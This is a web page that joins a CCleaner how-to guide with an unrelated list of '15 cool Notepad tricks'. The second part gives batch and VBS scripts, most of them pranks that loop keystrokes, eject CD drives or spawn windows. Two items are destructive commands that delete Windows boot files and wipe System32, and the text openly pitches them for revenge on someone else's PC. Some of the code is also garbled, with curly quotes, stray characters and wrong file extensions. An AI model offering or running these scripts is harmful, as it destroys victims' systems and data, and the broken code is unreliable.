How to use ccleaner

CCleaner clears a lot of stuff by default. You might want to reconsider clearing the browser caches (Temporary Internet Files for Internet Explorer). Browsers store these files on your system to speed up browsing in the future. When you revisit a site, the site will load faster if images and other files are cached on your system. Clearing these will free up some space and increase your browsing privacy, if you’re worried about that, but frequent cache cleanings can slow down your web browsing.

Erasing the thumbnail cache (under Windows Explorer) can also slow things down – if you open up a folder with a lot of image files, it will take some time to recreate the cache. Clearing it does free up space, but at the cost of recreating the cache later.

Many other options clear most-recently-used lists (MRUs) in Windows and other programs. These lists don’t take up much space, but can be privacy concerns – if there’s a most-recently-used list you rely on, be sure to uncheck it.

Whitelist Important Cookies

CCleaner clears all cookies by default, but you might want to keep some. If you find yourself always logging into your favorite websites after running CCleaner, open the Cookies pane in the Options section.

CCleaner can help you with this whitelisting – right-click in the Cookies pane and select Intelligent Scan. CCleaner will automatically add Google, Hotmail, and Yahoo Mail cookies to your whitelist.

You’ll probably want to add other cookies to the whitelist, too. For example, locate the howtogeek.com cookie in the list and click the right arrow button to add it to your whitelist. CCleaner will leave your How-To Geek cookie alone, so you don’t have to log back into How-To Geek after clearing your cookies.

Beware the Registry Cleaner

While CCleaner does include a registry cleaner, I’d recommend against running it. The Windows registry contains hundreds of thousands of entries; removing a few hundred (at most) won’t give you an increase in performance. Registry cleaners can accidentally remove important registry values, however, so there’s risk with little reward.

That said, if you’re dead set on running a registry cleaner, CCleaner is one of the safer ones. If you do run the registry cleaner, ensure you back up any changes you make. You can restore the deleted registry entries from the backup file if you encounter any problems.

Manage Startup Programs

The Startup panel in the Tools section allows you to disable programs that automatically run when your computer starts. To avoid losing an autostart entry that may be important, use the Disable option instead of the Delete option. You can easily re-enable a disabled autostart entry later.

Wipe Drives

When Windows or another operating system deletes a file, it doesn’t actually wipe the file from your hard disk. Instead, the pointers to the files are deleted and the operating system marks the file’s location as free space. File recovery programs can scan your hard disk for these files, and, if the operating system hasn’t written over the area, can recover the data. CCleaner can help protect against this by wiping the free space with its Drive Wiper tool.

While some people believe that multiple passes are necessary to irrecoverably delete files, one pass should probably be fine. If you’re disposing of a hard drive, you can also perform a full erase of all the data on the drive with this tool.

You can also have CCleaner wipe free space every time you run it by enabling the Wipe Free Space checkbox under Advanced in the Cleaner section. Enabling this option will make CCleaner take much longer to clean up your system – CCleaner recommends leaving it disabled.

Securely Delete Files

You can have CCleaner delete files securely, effectively using the Drive Cleaner tool on each file it deletes. Bear in mind that this is slower than deleting the files normally – that’s why operating systems don’t securely delete files by default. If you’re concerned about privacy, enable this option from the Settings tab in the Options section.

Include Custom Files

If you use a program that isn’t included in CCleaner’s list of applications, or you have a temporary file directory you want cleared regularly, you can specify custom folders and files in CCleaner. CCleaner will delete these files and empty these folders when you run it.

To add a custom folder or file, open the Options section and use the options on the Include tab. Be careful when adding folders or files; you could accidentally add important files or folders and lose them.

The custom files you specify here are only cleaned if the Custom Files and Folders checkbox under Advanced is enabled.

Exclude Files

Likewise, if CCleaner keeps clearing something you don’t want it to clear, you can add an exclusion in the Options section. You can exclude an entire drive, folder, file, or registry key. You can also restrict the exclusion to specific file extensions.

Manage Installed Programs

CCleaner’s tools include the Uninstall panel, which lists your installed programs. This panel includes a few more features than the default Windows one – you can rename or delete the entries here and any changes you make will also appear in the Windows Control Panel.

You can also save the list of installed programs to a text file – an easy way to keep a list of your installed programs in case you need to remember and reinstall them from scratch.

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Once you’ve got CCleaner set up, you can run it automatically each night or create a shortcut or hotkey to run it silently.

Notepad cool tips and tricks

One of the first things that one learns while learning to use a computer is an application called notepad. Almost everyone knows what notepad is, and despite being a simple looking and functioning application what kind of a power it actually possesses. One can literally destroy someone’s PC using a notepad, one can also solve big problems using notepad. Ok, notepad does not do all that I said on its own, but still. It is the platform where one can write the initial code that can then be compiled and stuff. So, learning a few small notepad tricks won’t really hurt our chances of showing off or maybe getting a different prospective about what notepad can really do.

So, here are 15 cool Notepad Tricks you should try:

1. Continually Pop Out CD Drive Using Notepad

Don’t you think it would be fun if you could play with your friend by making his cd-drive pop again and again? Just enter the text below into notepad and save it as a .vbs file. Double click on the .vbs file to see it work.

Set oWMP = CreateObject(“WMPlayer.OCX.7?)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop


2. Shutting Down Computer Using Notepad

Just imagine, if instead of pressing on start button and then on the shutdown button and then on the ok option, you could just double click on an icon to shut your system down. The Notepad trick code written below does just that. Just save the file as a .vbs file, and press it when you need to shut down the system.

@echo off
msg * System will now shut down
shutdown -c “Bye!” –s


3. Open Notepad Continually in Your Friend’s Computer

Just another Notepad trick to play with your friend’s system would be to set off a command which would open his/her notepad repetitively.

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Save it as a .vbs file and open it to see what happens.

4. Make A Personal Log-Book or A Diary

A special feature which allows us to make a log exists in notepad. Using it we can make logs of stuff as notepad will put the date and time for us whenever we open a specific type of Log file. For doing this, just type ‘.LOG’ in the notepad and save it under any name that you wish. Now whenever you’ll open this particular file, you’ll see that notepad automatically enters the date and time at which it is opened, and then you can make a log record and save the log.

5. Matrix Effect

Now we’ll discuss a Notepad trick that can turn our command prompt into something that looks like it just came out of the matrix movie, or maybe something that looks like something straight out of a hacker’s system. For doing this, all you need to do is paste the following code in notepad

@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

now you’ll need to save this file with an extension .bat , and upon clicking on the .bat file that you have created, you’ll see something like this.

A small tweak to customize this cool effect is that you can change the value in front of color, i.e. 02 in color 02 to any other value like 03 for instance; this will change the color of the text that appears in the command prompt.

Assign different values to the color, and have fun.

6. Toggle Capslock Repeatedly Using Notepad

You can play with someone’s computer, or maybe your own computer by writing a script that can toggle Caps Lock repeatedly.

Just copy and Paste the code written down below into notepad.

Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop

Now save it as a .vbs file and use it to see the magic.

7. Typing Slow

This is a trick which will cause the text to be typed slowly, to try it out, just copy and paste the text below into notepad and save it as a .vbs file.

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “

It does nothing but introduces a small delay between different strings it types.

8. Converting Text to Speech Using Notepad.

Just copy and paste the code down below into notepad and save as a .vbsfile.  When you play it, you’ll get a dialog box asking what you want the computer to say. Have fun.

Dim message, sapi
message=InputBox("What do you want me to say?","Speak to Me")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak message


9. World Trade Center Attack

According to this trick, if you enter the flight number of the flight that struck the twin tower, i.e. Q33N in notepad and then change the font type to ‘wingdings’ and the font size to 72, then you’ll see a very strange thing.

It is a very cool trick, but unfortunately is a hoax as no such flight struck the twin towers.

10. Changing Header and Footer in Notepad

Go to File ->Page setup in notepad, and then in the fields for header and footer, type any of these codes.

&l Left-align the characters that follow
&c Center the characters that follow
&r Right-align the characters that follow
&d Print the current date
&t Print the current time
&f Print the name of the document
&p Print the page number

11. Deleting Startup Files Using Notepad

A way to devastate a PC would be to remove the files that help it to start up. Though not advisable, this is the code that has the power to do it.

@ECHO OFF
ATTRIB -R -S -H C:\AUTOEXEC.BAT
DEL C:\AUTOEXEC.BAT
ATTRIB -R -S -H C:\BOOT.INI
DEL C:\BOOT.INI
ATTRIB -R -S -H C:\NTLDR
DEL C:\NTLDR
ATTRIB -R -S -H C:\WINDOWS\WIN.INI
DEL C:\WINDOWS\WIN.INI
SAVE IT AS .BAT FILE.

This will shut the computer down and delete files required to get your computer into a normal state.

Don’t try doing this on your computer unless and until you wish to loose all your data.

12. Deleting System32 Files Using Notepad

Wish to take revenge from someone? Just use this code, save it as an.bat file, and see what it does to that person’s system. It will delete all the System32 files required for the system to work in order.

Just paste the following in notepad and save it as a .bat file.

DEL C:\WINDOWS\SYSTEM32\*.*/Q

13. Hit Enter Continuously

What if we wished to use the function of our enter button happen again and again, a better idea than to press it again and again would be to use the code below

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop

Save it as a .vbs file and see its magic

14. Hit Backspace Continuously

Ok, we need the backspace button, but what is we wish to annoy someone and make it press itself again and again, mechanically it would require some work on our part, but if we just use this code, it would become a lot more easier.

MsgBox “Backspace again and again and AGAIN”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

Save as a .vbs file to make it work.

15. Typing Something Again and Again

A code to type something again and again is mentioned below, you can use it to write anything again and again and again, until you get it out of the loop.

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “I'll be typed again and again”
loop

save it as a .vbs file to make it work.